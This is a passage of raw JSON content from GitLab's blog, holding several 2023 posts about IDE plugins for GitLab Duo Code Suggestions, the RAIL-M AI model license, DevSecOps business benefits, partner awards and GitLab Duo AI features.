looking forward to investing more in this space and updating you, our stakeholders, along the way. \n\n## Read the ESG and DIB reports\n* [ESG report](https://about.gitlab.com/environmental-social-governance)\n* [DIB report](https://about.gitlab.com/diversity-inclusion-belonging/)\n",[736,676],{"slug":9187,"featured":6,"template":678},"gitlab-first-esg-and-dib-reports","content:en-us:blog:gitlab-first-esg-and-dib-reports.yml","Gitlab First Esg And Dib Reports","en-us/blog/gitlab-first-esg-and-dib-reports.yml","en-us/blog/gitlab-first-esg-and-dib-reports",{"_path":9193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9194,"content":9199,"config":9205,"_id":9207,"_type":16,"title":9208,"_source":17,"_file":9209,"_stem":9210,"_extension":20},"/en-us/blog/gitlab-jetbrains-neovim-plugins",{"title":9195,"description":9196,"ogTitle":9195,"ogDescription":9196,"noIndex":6,"ogImage":8601,"ogUrl":9197,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9197,"schema":9198},"GitLab plugins for JetBrains and Neovim now available in Beta","GitLab plugins for JetBrains IDEs and Neovim are now available in Beta, bringing GitLab Duo Code Suggestions to more software development environments.","https://about.gitlab.com/blog/gitlab-jetbrains-neovim-plugins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab plugins for JetBrains and Neovim now available in Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-07-25\",\n      }",{"title":9195,"description":9196,"authors":9200,"heroImage":8601,"date":9202,"body":9203,"category":791,"tags":9204},[9201],"Kai Armstrong","2023-07-25","\n\n_This blog post is the latest in an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). Start with the first blog post: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab._\n\nIn June, we shared our plans to [extend AI-powered code suggestions](/blog/extending-code-suggestions/) to more IDEs, thereby continuing to help enhance developer productivity. A few weeks ago, we [announced](/blog/gitlab-visual-studio-extension/) the availability of our [extension for Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio). Now, we're adding support for JetBrains and Neovim with official plugins to further extend the reach of GitLab Duo Code Suggestions and help enhance developer productivity across even more development environments.\n\nThese new GitLab plugins for both JetBrains and Neovim support [GitLab Duo](https://about.gitlab.com/gitlab-duo/) Code Suggestions for both [GitLab SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas) and [GitLab self-managed](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).\n\n## GitLab for JetBrains IDEs\nYou can download the GitLab for JetBrains plugin from the [JetBrains Plugin Marketplace](https://plugins.jetbrains.com/plugin/22325-gitlab) or from directly within your IDE by visiting `Settings` -> `Plugins` and then searching for `GitLab`. Once you've installed the plugin, follow the [setup instructions](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin#setup) to configure authentication and get started.\n\n![JetBrains GitLab Duo Code Suggestions Settings](https://about.gitlab.com/images/blogimages/jetbrains-code-suggestions-settings.png)\n\nYou can verify if the extension is connected and working by checking the status bar icon. If everything looks good, you're ready to start receiving code suggestions as you work. Just start typing and GitLab Duo will automatically provide you suggestions inline. Press `Tab` to accept the suggestions or keep typing to receive new suggestions.\n\n![JetBrains GitLab Duo Code Suggestions](https://about.gitlab.com/images/blogimages/jetbrains-code-suggestions-ghost-text.png)\n\nWe look forward to hearing from you about this initial release! You can provide feedback or report any issues you're having in our [feedback issue](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/issues/38).\n\n## GitLab for Neovim\nThe [GitLab for Neovim plugin](https://gitlab.com/gitlab-org/editor-extensions/gitlab.vim) can be found on GitLab and you can [follow the instructions to get started](https://gitlab.com/gitlab-org/editor-extensions/gitlab.vim#getting-started). Once you've downloaded the plugin, there are [configuration options](https://gitlab.com/gitlab-org/editor-extensions/gitlab.vim#configuration) available to help customize your experience.\n\nOnce you've configured the plugin you'll be able to receive suggestions directly within the UI. Check out our demo video below to learn more about the plugin.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/PRSPQvbFquU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe're continuing to iterate on our Neovim plugin. You can provide feedback or report any issues you're having in our [feedback issue](https://gitlab.com/gitlab-org/editor-extensions/gitlab.vim/-/issues/22).\n\n## Iterating on AI/ML features\nThese new additions to our family of editor extensions join our existing extensions for [Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio) and [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). We plan to continue iterating to make the GitLab Duo Code Suggestions experience even better.\n\nWe're also continuing our work on a [GitLab Language Server for Code Suggestions](https://gitlab.com/gitlab-org/editor-extensions/gitlab-language-server-for-code-suggestions), which will allow us to standardize and iterate faster on our IDE extensions, and will enable users of IDEs and code editors to use GitLab Duo Code suggestions even if an official extension isn't available. We look forward to providing more documentation and working with the community on this project in the future.\n\nThese efforts are just the start of how we're incorporating GitLab Duo capabilities throughout the [software development lifecycle](/blog/what-the-ml-ai/) to help GitLab users become more efficient and effective. As we continue to identify painful and time-consuming tasks that are ideal for AI-assisted features, we'll continue to share updates, tutorials, and demos through this blog series.\n\nCheckout GitLabs 16.2 release to see what's new with [Code Suggestions](https://about.gitlab.com/releases/2023/07/22/gitlab-16-2-released/#gitlab-duo-code-suggestions-improvements-powered-by-google-ai).\n\nInterested in using GitLab Duo features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and we'll keep you updated.\n\nContinue reading our \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":9206,"featured":6,"template":678},"gitlab-jetbrains-neovim-plugins","content:en-us:blog:gitlab-jetbrains-neovim-plugins.yml","Gitlab Jetbrains Neovim Plugins","en-us/blog/gitlab-jetbrains-neovim-plugins.yml","en-us/blog/gitlab-jetbrains-neovim-plugins",{"_path":9212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9213,"content":9219,"config":9223,"_id":9225,"_type":16,"title":9226,"_source":17,"_file":9227,"_stem":9228,"_extension":20},"/en-us/blog/rail-m-is-an-imperfectly-good-start-for-ai-model-licenses",{"title":9214,"description":9215,"ogTitle":9214,"ogDescription":9215,"noIndex":6,"ogImage":9216,"ogUrl":9217,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9217,"schema":9218},"RAIL-M is an imperfectly good start for AI model licenses","\"GitLab, Inc. is dedicated to open source and AI. This is our take on a model license relevant to open source and AI communities: the BigScience Open RAIL-M license.\"","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671836/Blog/Hero%20Images/railmimage.jpg","https://about.gitlab.com/blog/rail-m-is-an-imperfectly-good-start-for-ai-model-licenses","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"RAIL-M is an imperfectly good start for AI model licenses\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robin Schulman\"}],\n        \"datePublished\": \"2023-07-25\",\n      }",{"title":9214,"description":9215,"authors":9220,"heroImage":9216,"date":9202,"body":9221,"category":791,"tags":9222},[6330],"GitLab, Inc. is dedicated to open source – we believe in it, use it, and give back to it, and we have an [open core](https://about.gitlab.com/company/stewardship/) business model. We also care deeply about artificial intelligence (AI) – we recently announced that we are investing heavily in AI by [infusing it into every phase of our comprehensive DevSecOps platform](https://about.gitlab.com/solutions/ai/).\n\nWe were thus very interested to see [Responsible AI Licenses'](https://www.licenses.ai/) recent release of a model license relevant to both the open source and AI communities: the BigScience Open RAIL-M license ([RAIL-M](https://www.licenses.ai/blog/2022/8/26/bigscience-open-rail-m-license)).\n\nWe see RAIL-M as an exciting but flawed development in the AI model licensing space. Its authors’ intentions are admirable and important, but in practical terms, RAIL-M still has room for improvement.\n\n### What is RAIL-M?\nRAIL-M is part of the Open Responsible AI Licenses (Open RAIL) [family](https://www.licenses.ai/blog/2022/8/18/naming-convention-of-responsible-ai-licenses), which is a collection of AI licenses that aim to promote responsible use by imposing behavioral use restrictions on the model’s licensees and downstream users. The Open RAIL family is not alone – it’s within a new wave of licenses (see, for example, the [TII Falcon LLM License](https://huggingface.co/tiiuae/falcon-40b/blob/main/LICENSE.txt)) spawned by the public’s recent interest in AI. RAIL-M specifically applies these use restrictions to the model (the “M” in RAIL-M stands for “model”).\n\nThis blog discusses RAIL-M specifically, and does not consider the other licenses in the Open RAIL family.\n\n### RAIL-M puts ethics at the forefront\nIn recent months, much ink has been spilled over the novel ethical dilemmas that AI presents. Technologists, journalists, and companies alike have sounded the alarm on the various societal harms that AI could exacerbate (see, for example, OpenAI, Google Deepmind, and other AI companies’ [recent open letter](https://www.nytimes.com/2023/05/30/technology/ai-threat-warning.html) declaring that AI poses a “risk of extinction”). Regulators are taking notice. Recently, OpenAI’s CEO Sam Altman testified in a Senate hearing on AI’s risks, and a key committee of European Parliament lawmakers [approved the EU AI Act](https://www.europarl.europa.eu/news/en/press-room/20230505IPR84904/ai-act-a-step-closer-to-the-first-rules-on-artificial-intelligence), which aims to mitigate AI’s potential harms.\n\nRAIL-M places these ethical considerations front and center. Its restrictions prohibit the AI model’s licensees and their downstream users from engaging in potentially harmful uses such as applying the model in a way that violates applicable law, to provide medical advice, or to harass or defraud others.\n\nThese provisions’ practical implications are, admittedly, still a bit unclear. Regardless, these use-based restrictions will, at the very least, deter some from applying the model in harmful ways, and help push ethical considerations to the forefront of today’s fast-paced AI landscape. In the words of the Organisation for Economic Co-operation and Development ([OECD](https://oecd.ai/en/catalogue/tools/bigscience-openrail-m-license)): “OpenRAILs are a vehicle towards the consolidation of an informed and respectful culture of sharing AI artifacts acknowledging their limitations and the values held by the licensors of the model.”\n\n### In practice, RAIL-M isn’t perfect\nFirst, describing RAIL-M as an “open” license – as RAIL-M’s authors have in its title – is misleading. RAIL-M’s authors conflate royalty-free access and flexible use and re-distribution with truly “open” licenses. The Open Source Initiative ([OSI](https://opensource.org/osd/)) defines “open source” as software that, among other qualities, “must not restrict anyone from making use of the program in a specific field of endeavor.” RAIL-M’s use-based restrictions – which include prohibitions on providing medical advice, and generating information to be used for the administration of justice or law enforcement – prevent it from being a truly “open” license.\n\nSecond, regulators such as those in the EU will likely pass laws imposing certain use restrictions on AI tools in the near future. RAIL-M doesn’t cover how its own use-based requirements will interact with AI-related laws, which may present an issue if, for example, a RAIL-M restriction conflicts with one of these new regulations.\n\nFinally, commentators, including [Kyle Mitchell](https://writing.kemitchell.com/2023/01/26/Open-RAIL-M-Unclear) and [Luis Villa](https://blog.tidelift.com/evaluating-the-rail-license-family), have also expressed concerns that some of RAIL-M’s requirements may be too vague to comply with.\n\n### A net benefit to the AI community\nRAIL-M isn’t perfect. However, setting aside its practical flaws, RAIL-M’s release is still an important signal both to and from the AI community that AI ethics matter and must be considered even (and perhaps especially) when offering free, publicly-available models. To again quote [the OECD](https://oecd.ai/en/catalogue/tools/bigscience-openrail-m-license): “[l]icenses [like those in the Open RAIL family] … should not be conceived as burdensome legal technical mechanisms, but rather as a communication instrument among AI communities bringing stakeholders together by sharing common messages on how the licensed artifact can be used.”\n\nRAIL-M, and the Open RAIL family as a whole, will likely encourage the AI community – both AI model maintainers and perhaps even proprietary model creators – to consider, and work to mitigate, their models’ potential harms and abuses. We’ll be interested to see where it goes.\n\n_Cover image by [Google DeepMind](https://unsplash.com/@deepmind?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/ZJKE4XVlKIA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)_\n",[790,676],{"slug":9224,"featured":6,"template":678},"rail-m-is-an-imperfectly-good-start-for-ai-model-licenses","content:en-us:blog:rail-m-is-an-imperfectly-good-start-for-ai-model-licenses.yml","Rail M Is An Imperfectly Good Start For Ai Model Licenses","en-us/blog/rail-m-is-an-imperfectly-good-start-for-ai-model-licenses.yml","en-us/blog/rail-m-is-an-imperfectly-good-start-for-ai-model-licenses",{"_path":9230,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9231,"content":9237,"config":9242,"_id":9244,"_type":16,"title":9245,"_source":17,"_file":9246,"_stem":9247,"_extension":20},"/en-us/blog/how-devsecops-drives-business-success",{"title":9232,"description":9233,"ogTitle":9232,"ogDescription":9233,"noIndex":6,"ogImage":9234,"ogUrl":9235,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9235,"schema":9236},"How DevSecOps drives business success","Learn the benefits of DevSecOps, including how it drives ROI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663975/Blog/Hero%20Images/devsecopssurvey.png","https://about.gitlab.com/blog/how-devsecops-drives-business-success","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How DevSecOps drives business success\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-07-24\",\n      }",{"title":9232,"description":9233,"authors":9238,"heroImage":9234,"date":9239,"body":9240,"category":962,"tags":9241},[3907],"2023-07-24","\nDevSecOps is an evolution of DevOps — but it’s more than just adding the word “Security” in between \"Development\" and \"Operations.\" It's about bringing everyone into the security team and [building security](/blog/how-to-strengthen-security-by-applying-devsecops-principles/) into the entire software development lifecycle. Although DevSecOps is likely talked about more in coding circles than in boardrooms, the benefits of DevSecOps extend to the entire organization, helping teams deliver software faster without sacrificing quality or security.\n\nBut what exactly are the business benefits of DevSecOps? In this blog post, we'll dive into the top ways DevSecOps can help organizations drive business results and ROI.\n\n> Want to dig deeper into the basics of DevSecOps and how to use it to drive business success? [Download our guide to learn more](https://page.gitlab.com/resources-ebook-devsecops-success.html?utm_campaign=devsecopsplat&utm_content=ebookdevsecopssuccess).\n\n## How DevSecOps can benefit businesses\nHere are a few of the ways adopting DevSecOps can benefit a business:\n* Moving to a single platform [reduces money spent on toolchain](/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) licenses and management\n* Focusing on security helps secure the business and its customers\n* Increasing productivity leads to faster time to market, which means staying ahead of competitors\n* Increasing security enables DevOps teams to identify issues that could ultimately hurt the brand and break customer and partner trust\n* Catching and fixing security vulnerabilities reduces legal liability connected to breaches\n* Having DevOps teams work cross-functionally in a single tool fosters collaboration in the software development team and across the entire company\n* Managing access controls, policies, and audits in one platform eases and promotes compliance\n* Unifying with a platform makes it easier to be cloud agnostic, which makes a company more resistant to vendor outages\n* Increasing visibility into every component in the [software supply chain](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) boosts security and reliability\n* Automating scanning takes human error out of the equation by reducing the chances of having vulnerabilities that hackers can exploit\n\n## How DevSecOps drives ROI\n“Central for any executive is ROI and if a decision will bring their business forward or backward,” says [Ayoub Fandi](https://gitlab.com/ayofan), senior field security engineer at GitLab. “A DevSecOps platform brings all of the features, security tools, and automation of DevSecOps together in a single app so there’s no buying, stitching, and maintaining a complicated jumble of tools. It also means a company isn’t paying for all of those licensing costs, subscription fees, and maintenance expenses. Each year, companies spend more and more on technology, so if they can find a way to reduce their spending on that, it’ll be very welcome to executives.”\n\nBy helping protect a company’s brand, enabling the organization to stay ahead in a competitive field and remain compliant, and giving executives visibility over what’s causing slowdowns or increasing velocity, DevSecOps can be a valuable business tool.\n\n## What is a DevSecOps platform?\nA [comprehensive DevSecOps platform](https://about.gitlab.com/platform/) brings all of the features, security controls, and automation of DevSecOps together in one end-to-end application, so there’s no buying and supporting a complicated jumble of tools.\n\n“If I were in a company’s buying seat, I would be looking at DevSecOps,” says Fandi. “Executives want to worry less about compliance issues and security breaches that could have a big impact on their revenue, their ability to grow the company, and customers’ confidence in doing business with them. With DevSecOps, they can worry less about all of that.”\n\n_Explore how DevSecOps and a DevSecOps platform can help organizations save money, boost competitiveness, increase security, and more. [Download our comprehensive guide to get started](https://page.gitlab.com/resources-ebook-devsecops-success.html?utm_campaign=devsecopsplat&utm_content=ebookdevsecopssuccess)._\n",[479,7715,943],{"slug":9243,"featured":6,"template":678},"how-devsecops-drives-business-success","content:en-us:blog:how-devsecops-drives-business-success.yml","How Devsecops Drives Business Success","en-us/blog/how-devsecops-drives-business-success.yml","en-us/blog/how-devsecops-drives-business-success",{"_path":9249,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9250,"content":9255,"config":9260,"_id":9262,"_type":16,"title":9263,"_source":17,"_file":9264,"_stem":9265,"_extension":20},"/en-us/blog/meet-the-2023-gitlab-partner-of-the-year-award-winners",{"title":9251,"description":9252,"ogTitle":9251,"ogDescription":9252,"noIndex":6,"ogImage":8283,"ogUrl":9253,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9253,"schema":9254},"Meet the 2023 GitLab Partner of the Year award winners","We recognized our channel, technology, and cloud partners for their collaboration and contributions.","https://about.gitlab.com/blog/meet-the-2023-gitlab-partner-of-the-year-award-winners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the 2023 GitLab Partner of the Year award winners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nima Badiey\"}],\n        \"datePublished\": \"2023-07-20\",\n      }",{"title":9251,"description":9252,"authors":9256,"heroImage":8283,"date":9257,"body":9258,"category":736,"tags":9259},[8864],"2023-07-20","\nAt GitLab’s second annual Partner Leadership Summit in June, we invited channel, technology, and cloud partners to join us to celebrate their achievements, empower their success, and provide resources and support for the year to come. \n\nWe recognized our partners for their contributions via the Partner Leadership Awards, including Partner of the Year, Public Sector Partner of the Year, Public Sector Distributor of the Year, and Public Sector Services Partner of the Year. \n\nWe also introduced a new award category: Emerging Partner of the Year. The Emerging Partner of the Year award recognizes a new partner who consistently demonstrates a commitment to building a solution practice based on GitLab’s leading DevSecOps platform.\n\nGitLab strives to create collaborative and mutually beneficial relationships with our partners, and we also encourage our partners to embrace GitLab’s values of Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging, Iteration, and Transparency ([CREDIT](https://handbook.gitlab.com/handbook/values/)). Each award winner demonstrated a strong partnership with GitLab and alignment with CREDIT values.\n\nOur 2023 Partner Leadership Summit Award winners are:\n\n### Partner of the Year: SHI Stratascale, a SHI Company\n_Stratascale, a subsidiary of SHI International, brings a consultancy-first approach to helping customers rapidly adapt to business changes by delivering end-to-end support of the transformation process._\n\nStratascale was selected as GitLab’s Partner of the Year because it provides a strong delivery framework, which is leveraged by customers looking to migrate their application development framework and meet DevSecOps requirements using GitLab technology. As a **result**, GitLab’s partnership with both Stratascale and legacy SHI experienced significant growth in 2023.\n\n### Emerging Partner of the Year: NextLink Labs\n_NextLink Labs is a DevOps, custom software development and cybersecurity consultancy._\n\nNextLink Labs is GitLab’s first Emerging Partner of the Year. NextLink Labs scales their impact to prospects and customers by leading with partnership best practices and **collaboration**. They provide value stream assessments, work with GitLab to create market awareness for our joint support, and help customers create paths to leverage the full value of GitLab’s leading DevSecOps platform. \n\n### Public Sector Partner of the Year: Flywheel Data\n_Flywheel Data is a value added reseller whose goal is to provide clients with the right tools, products, and technologies to accelerate mission success._\n\nFor the second year in a row, Flywheel Data is GitLab’s Public Sector Partner of the Year. Flywheel Data works with GitLab to deliver a single platform for DevSecOps to the U.S. government markets. Together, Flywheel and GitLab deliver immediate value to joint clients by simplifying the way their development, security, IT and ops teams collaborate to build software and manage infrastructure. This leads to a more **efficient** workflow for joint clients.\n\n### Public Sector Distributor of the Year: Carahsoft\n_Carahsoft is a public sector IT solutions provider, supporting federal, state, and local government agencies as well as education and healthcare organizations._\n\nCarahsoft earned Public Sector Distributor of the Year as a result of their complete alignment and execution of CREDIT values. Carahsoft demonstrates **collaboration** through dedicated resources and integrated alignment with the GitLab team, which enables Carahsoft and the reseller community to invest in the partnership while accelerating the public sector's ability to achieve digital transformation initiatives and mission success.\n\n### Public Sector Services Partner of the Year: Sirius Federal – A CDW Company\n_Sirius Federal, A CDW Company, helps customers design, orchestrate and manage technologies that drive business and government agency success._\n\nSirius Federal **iterated** on their processes over the last year to introduce new resources, such as “This Sirius Federal GitLab Adoption Workshop.” Sirius Federal offers best practice solutions that help Public Sector agencies achieve optimal outcomes and meet compliance guidelines. Their new offering increased engagement, set a vision for growth, and helped customers who had been stalled in their DevSecOps Platform adoption.\n\nOur heartfelt congratulations to all the winners! We look forward to further collaboration in the year to come. \n\n*Learn more about [GitLab’s Partner Program](https://partners.gitlab.com/).*\n",[282,736,2368],{"slug":9261,"featured":6,"template":678},"meet-the-2023-gitlab-partner-of-the-year-award-winners","content:en-us:blog:meet-the-2023-gitlab-partner-of-the-year-award-winners.yml","Meet The 2023 Gitlab Partner Of The Year Award Winners","en-us/blog/meet-the-2023-gitlab-partner-of-the-year-award-winners.yml","en-us/blog/meet-the-2023-gitlab-partner-of-the-year-award-winners",{"_path":9267,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9268,"content":9274,"config":9278,"_id":9280,"_type":16,"title":9281,"_source":17,"_file":9282,"_stem":9283,"_extension":20},"/en-us/blog/supercharge-productivity-with-gitlab-duo",{"title":9269,"description":9270,"ogTitle":9269,"ogDescription":9270,"noIndex":6,"ogImage":9271,"ogUrl":9272,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9272,"schema":9273},"Supercharge productivity with generative AI and GitLab Duo","Learn how the GitLab DevSecOps platform leverages generative AI and large language models to enable organizations to boost productivity and efficiency.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674838/Blog/Hero%20Images/duo-blog-post.png","https://about.gitlab.com/blog/supercharge-productivity-with-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Supercharge productivity with generative AI and GitLab Duo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-07-20\",\n      }",{"title":9269,"description":9270,"authors":9275,"heroImage":9271,"date":9257,"body":9276,"category":791,"tags":9277},[2816],"\nIn GitLab's [2023 Global DevSecOps Report](https://about.gitlab.com/developer-survey/previous/2023/), developer productivity and operational efficiency were top of mind for most respondents and ranked as the two top benefits organizations strive for when adopting DevSecOps methodologies. At the same time, artificial intelligence (AI) and machine learning (ML) have become highly relevant to research and development teams in recent years and have gained increased importance in the software development process of many companies. Across the software development lifecycle, generative AI is enabling faster development cycles, less time spent on code reviews, and more secure software development practices.\n\nAt GitLab, we’re using generative AI and ML to deliver productivity and efficiency gains to DevSecOps teams throughout the software development lifecycle. In this blog post, we will look at how the suite of [GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI capabilities boost productivity. First, let's understand the underlying technology: generative AI.\n\n## What is generative AI?\nGenerative AI is a branch of AI capable of generating new content. The generated content is created by using patterns learned from examples or input data during the training process. One of the most popular architectures used to learn from data is a [transformer model](https://blogs.nvidia.com/blog/what-is-a-transformer-model/). Given the success of transformer models in natural language processing (NLP) and their flexibility in being adapted or fine-tuned to different and more specific tasks, they have been called \"foundation models,\" a term coined by Stanford researchers in an [August 2021 research paper](https://arxiv.org/pdf/2108.07258.pdf). \n\nThese models, when trained on text data, are capable of learning context and meaning by tracking relationships in the input data. A successful application of transformer models is [large language models (LLMs)](https://www.nvidia.com/en-us/glossary/data-science/large-language-models/): algorithms trained with petabyte-scale, text-based data sets to recognize, predict, and generate various forms of content. Examples of LLMs include Google’s [PaLM 2](https://blog.google/technology/ai/google-palm-2-ai-large-language-model/), OpenAI’s [GPT series](https://openai.com/gpt-4) and Meta’s [Llama 2](https://ai.meta.com/llama/). According to [Ark Invest](https://ark-invest.com/big-ideas-2023/artificial-intelligence/), generative AI is expected to increase the productivity of knowledge workers more than fourfold by 2030.\n\nThe GitLab DevSecOps Platform leverages generative AI and LLMs to power [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI capabilities that enable organizations to boost efficiency and ship secure software faster. Now, let’s take a look at the capabilities of GitLab Duo.\n\n## Efficient & secure software development\n\nIn a research paper looking into the impact of AI on developer productivity published in February 2023, [Peng et al.](https://arxiv.org/abs/2302.06590) found that developers who used AI-powered tools completed their tasks 55.8% faster than those who didn’t. In this section, we'll look at how GitLab Duo can help teams reduce development time, improve developer productivity, and ensure secure software development.\n\n### Code Suggestions\nEfficient developer experience is critical to productivity, and GitLab Duo [Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html) improves the developer experience and leads to shorter cycle times. If you want to import dependencies in your favourite programming language or create a function along with unit tests, Code Suggestions automatically provides suggestions in your IDE with a high degree of accuracy.  \n\nCode Suggestions is currently available in Beta for all tiers on GitLab.com and in self-managed GitLab from Version 16.1. You can [use Code Suggestions with the GitLab WebIDE, Visual Studio Code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html), and [other IDEs](https://about.gitlab.com/blog/extending-code-suggestions/). \n\n### Code explanations\nDevelopers spend a ton of time on search engines trying to figure out what a block of code does or why it behaves the way it does. The [\"explain this code\"](https://docs.gitlab.com/ee/user/ai_features.html#explain-selected-code-in-the-web-ui) feature is currently an [experiment](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#experiment) on GitLab.com and uses LLMs to explain code in natural language, including context based on the code selected for it to explain.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xzsFfFqvlnU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### AI-generated tests for code changes\nEnsuring code changes are thoroughly tested is hard work and can be time-consuming. In your merge requests, with generative AI, you can generate test files for your code to provide coverage for the change introduced, reducing the time spent writing tests.\n\n![Merge request test coverage with AI](https://about.gitlab.com/images/blogimages/merge-request-generate-tests-ai.gif)\n\n### Vulnerability explanations\nA critical part of preventing the escalation of vulnerabilities is understanding why vulnerabilities were discovered and how to fix them. This takes much effort to research before making an informed decision on the next action step. [GitLab Duo vulnerability recommendations](https://about.gitlab.com/blog/explain-this-vulnerability/) provide detailed information on identified vulnerabilities, including context from your code, how they can be exploited, and example fixes, thus allowing quick remediation of vulnerabilities.\n\n![Explain this vulnerability](https://about.gitlab.com/images/blogimages/2023-04-27-explain-this-vulnerability.png)\n\n### Value stream forecasting\n\nThe efficiency of the software development lifecycle is critical to a team’s productivity and quality of value delivery. It is critical for software leaders to identify trends from events occuring in the lifecycle and implement changes to improve efficiency. GitLab’s [Value Streams Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html) allows teams to track software performance and the flow of value across the software development lifecycle with [DORA metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html), [value stream analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/index.html), and [vulnerability reports](https://gitlab.com/gitlab-org/gitlab/-/security/vulnerability_report).\n\n## Improved code review processes\n\n[In a 2019 survey](https://static1.smartbear.co/smartbearbrand/media/pdf/the-2019-state-of-code-review.pdf), 55% of respodents were either indifferent to or dissatisfied by their team’s code review process, and this is largely due to code reviews being seen as added work ([necessary but often time-consuming](https://codeclimate.com/blog/time-wasting-code-review)). In this section, we'll look at how GitLab Duo can help reduce review cycles and increase speed.\n\n### Merge request change summary\n\nOnce your changes are ready for review, you create a merge request, which allows you to collaborate with other stakeholders. Merge request descriptions often give the context on why the changes were made, but sometimes don’t include details of the changes themselves, except if you look at the code. Leveraging AI and LLMs, GitLab can provide relevant summaries of merge requests, reducing time spent ensuring the merge request description is up to date as changes evolve. All you need to do is use the `/summarize_diff` [quick action](https://docs.gitlab.com/ee/user/project/quick_actions.html) to add a summary of changes in a comment.\n\n![Merge request changes summary with AI](https://about.gitlab.com/images/blogimages/merge-request-changes-summary-ai.gif) \n\n### Issue comment summary\n\nWhen planning work, discussion is an essential element of collaboration. Discussions can become lengthy and catching up on all the comments can be a challenge, especially in an organization with an asynchronous culture. Similar to summarizing merge request changes, GitLab can [summarize issue comments](https://about.gitlab.com/blog/summarize-issues/), which is valuable in efficiently understanding the status of work from the issue discussions and the next steps to take. Here is a video of how it works:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/GMr3eHwbYAI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Suggested reviewers\nIdentifying reviewers can be time-consuming, especially with cross-functional collaborations in a large team. When enabled by project maintainers or owners, GitLab [suggests reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/index.html#suggested-reviewers) for a merge request based on the code changes made and the project’s contribution graph. This leads to higher-quality feedback from team members with domain knowledge and increases the speed of reviews.\n\n### Merge request review summary\nCode reviewers often leave feedback across several parts of the changes they’ve reviewed, then proceed to write a separate comment to give an overview of all the feedback given. The reviewer spends valuable time ensuring the merge request author has the context to understand the review. With GitLab Duo, the reviewer can simply use the [\"summarize my code review\"](/blog/summarize-my-merge-request-review/) capability to provide authors with context around the feedback, without the need to process the entire review. \n\n![Summarize code review](https://about.gitlab.com/images/blogimages/summarize-my-merge-request-review-ai.gif)\n\n## What's coming next\nGitLab is continuously iterating on our [AI-assisted capabilities](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/) to find innovative ways to enable you to efficiently build more secure software 